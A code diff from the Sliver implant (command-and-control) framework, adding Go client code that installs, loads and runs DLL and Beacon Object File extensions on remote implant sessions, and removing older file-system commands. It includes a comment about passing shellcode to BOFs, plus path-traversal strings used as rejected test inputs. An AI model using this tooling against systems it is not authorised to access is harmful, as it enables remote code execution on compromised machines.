manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &ExtensionManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
installedManifests := getInstalledManifests()
results := []string{}
for _, manifest := range installedManifests {
if strings.HasPrefix(manifest.CommandName, prefix) {
results = append(results, manifest.CommandName)
}
}
return results
}
@@ -0,0 +1,245 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"testing"
)
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
sample2 = `{
"name": "test2",
"command_name": "test2",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "../../../../foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifest(t *testing.T) {
extManifest, err := ParseExtensionManifest([]byte(sample1))
if err != nil {
t.Fatalf("Error parsing extension manifest: %s", err)
}
if extManifest.Name != "test1" {
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
}
if extManifest.CommandName != "test1" {
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
}
if extManifest.Version != "1.0.0" {
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
}
if extManifest.ExtensionAuthor != "test" {
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
}
if extManifest.OriginalAuthor != "test" {
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
}
if extManifest.RepoURL != "https://example.com/" {
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
}
if extManifest.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
}
if len(extManifest.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
}
if extManifest.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
}
if extManifest.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
}
if extManifest.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
}
extManifest2, err := ParseExtensionManifest([]byte(sample2))
if err != nil {
t.Fatalf("Error parsing extension manifest (2): %s", err)
}
if extManifest2.Name != "test2" {
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
}
if extManifest2.CommandName != "test2" {
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
}
if extManifest2.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
}
if len(extManifest2.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
}
if extManifest2.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
}
if extManifest2.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
}
if extManifest2.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
}
}
const (
sample3 = `{
"name": "test3",
"command_name": "test3",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifestErrors(t *testing.T) {
sample3, err := ParseExtensionManifest([]byte(sample3))
if err != nil {
t.Fatalf("Failed to parse initial sample3: %s", err)
}
missingName := (*sample3)
missingName.Name = ""
data, _ := json.Marshal(missingName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing name error, got none")
}
missingCmdName := (*sample3)
missingCmdName.CommandName = ""
data, _ = json.Marshal(missingCmdName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing command name error, got none")
}
missingHelp := (*sample3)
missingHelp.Help = ""
data, _ = json.Marshal(missingHelp)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing help error, got none")
}
missingFiles := (*sample3)
missingFiles.Files = []*extensionFile{}
data, _ = json.Marshal(missingFiles)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files error, got none")
}
missingFileOS := (*sample3)
missingFileOS.Files = []*extensionFile{
{
OS: "",
Arch: "amd64",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileOS)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.os error, got none")
}
missingFileArch := (*sample3)
missingFileArch.Files = []*extensionFile{
{
OS: "windows",
Arch: "",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileArch)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.arch error, got none")
}
missingFilePath := (*sample3)
missingFilePath.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: "",
},
}
data, _ = json.Marshal(missingFilePath)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
invalidPaths := []string{
"../../../../../",
"/../../../../..",
".",
"/",
}
for _, invalidPath := range invalidPaths {
missingFilePath2 := (*sample3)
missingFilePath2.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: invalidPath,
},
}
data, _ = json.Marshal(missingFilePath2)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
}
}
+174
View File
@@ -0,0 +1,174 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extLocalPath := ctx.Args.String("path")
fi, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
return
}
if !fi.IsDir() {
InstallFromFilePath(extLocalPath, false, con)
} else {
installFromDir(extLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
}
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
return nil
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
+54
View File
@@ -0,0 +1,54 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// ExtensionsListCmd - List all extension loaded on the active session/beacon
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("%s\n", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
+505
View File
@@ -0,0 +1,505 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
var loadedExtensions = map[string]*ExtensionManifest{}
type ExtensionManifest struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
}
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// ExtensionLoadCmd - Load extension command
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
if err != nil {
return
}
// do not add if the command already exists
if CmdExists(extCmd.CommandName, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
return
}
ExtensionRegisterCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
}
// ParseExtensionManifest - Parse extension manifest from buffer
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
}
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
}
return extManifest, nil
}
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
// f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if 0 < len(extCmd.Arguments) {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
argFunc func(string, string, ...grumble.ArgOption)
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "integer", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
} else {
argFunc(arg.Name, arg.Desc)
}
}
} else {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
},
HelpGroup: consts.ExtensionHelpGroup,
}
con.App.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.CommandName == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
return errRegister
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, ctx, con)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
err error
extensionArgs []byte
extName string
entryPoint string
)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
return
}
isBOF := filepath.Ext(binPath) == ".o"
// BOFs (Beacon Object Files) are a specific kind of extensions
// that require another extension (a COFF loader) to be present.
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
// This block will pack both the BOF data and its arguments into a single buffer that
// the loader will extract and load.
if isBOF {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("BOF args error: %s\n", err)
return
}
extName = ext.DependsOn
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Call extension error: %s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
if err != nil {
return nil, err
}
case "short":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddShort(uint16(val))
if err != nil {
return nil, err
}
case "string":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddString(val)
if err != nil {
return nil, err
}
case "wstring":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddWString(val)
if err != nil {
return nil, err
}
// Adding support for filepaths so we can
// send binary data like shellcodes to BOFs
case "file":
val := ctx.Args.String(arg.Name)
data, err := ioutil.ReadFile(val)
if err != nil {
return nil, err
}
err = argsBuffer.AddData(data)
if err != nil {
return nil, err
}
}
}
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(binData)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(parsedArgs)
if err != nil {
return nil, err
}
extensionArgs, err = extensionArgsBuffer.GetBuffer()
if err != nil {
return nil, err
}
return extensionArgs, nil
}
// CmdExists - checks if a command exists
func CmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
+77
View File
@@ -0,0 +1,77 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsRemoveCmd - Remove an extension
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveExtensionByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
return
} else {
con.PrintInfof("Extension '%s' removed\n", name)
}
}
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
-371
View File
@@ -1,371 +0,0 @@
package command
import (
"bytes"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/spin"
sliverpb "github.com/bishopfox/sliver/protobuf/sliver"
"github.com/bishopfox/sliver/util"
"github.com/AlecAivazis/survey"
"github.com/desertbit/grumble"
"github.com/golang/protobuf/proto"
)
func ls(ctx *grumble.Context, rpc RPCServer) {
if ActiveSliver.Sliver == nil {
fmt.Printf(Warn + "Please select an active sliver via `use`\n")
return
}
if len(ctx.Args) < 1 {
ctx.Args = append(ctx.Args, ".")
}
data, _ := proto.Marshal(&sliverpb.LsReq{
SliverID: ActiveSliver.Sliver.ID,
Path: ctx.Args[0],
})
resp := <-rpc(&sliverpb.Envelope{
Type: sliverpb.MsgLsReq,
Data: data,
}, defaultTimeout)
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
dirList := &sliverpb.Ls{}
err := proto.Unmarshal(resp.Data, dirList)
if err != nil {
fmt.Printf(Warn+"Unmarshaling envelope error: %v\n", err)
return
}
printDirList(dirList)
}
func printDirList(dirList *sliverpb.Ls) {
fmt.Printf("%s\n", dirList.Path)
fmt.Printf("%s\n", strings.Repeat("=", len(dirList.Path)))
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
for _, fileInfo := range dirList.Files {
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
} else {
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
}
}
table.Flush()
}
func rm(ctx *grumble.Context, rpc RPCServer) {
if ActiveSliver.Sliver == nil {
fmt.Printf(Warn + "Please select an active sliver via `use`\n")
return
}
if len(ctx.Args) == 0 {
fmt.Printf(Warn + "Missing parameter: file or directory name\n")
return
}
data, _ := proto.Marshal(&sliverpb.RmReq{
SliverID: ActiveSliver.Sliver.ID,
Path: ctx.Args[0],
})
resp := <-rpc(&sliverpb.Envelope{
Type: sliverpb.MsgRmReq,
Data: data,
}, defaultTimeout)
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
rm := &sliverpb.Rm{}
err := proto.Unmarshal(resp.Data, rm)
if err != nil {
fmt.Printf(Warn+"Unmarshaling envelope error: %v\n", err)
return
}
if rm.Success {
fmt.Printf(Info+"%s\n", rm.Path)
} else {
fmt.Printf(Warn+"%s\n", rm.Err)
}
}
func mkdir(ctx *grumble.Context, rpc RPCServer) {
if ActiveSliver.Sliver == nil {
fmt.Printf(Warn + "Please select an active sliver via `use`\n")
return
}
if len(ctx.Args) == 0 {
fmt.Printf(Warn + "Missing parameter: directory name\n")
return
}
data, _ := proto.Marshal(&sliverpb.MkdirReq{
SliverID: ActiveSliver.Sliver.ID,
Path: ctx.Args[0],
})
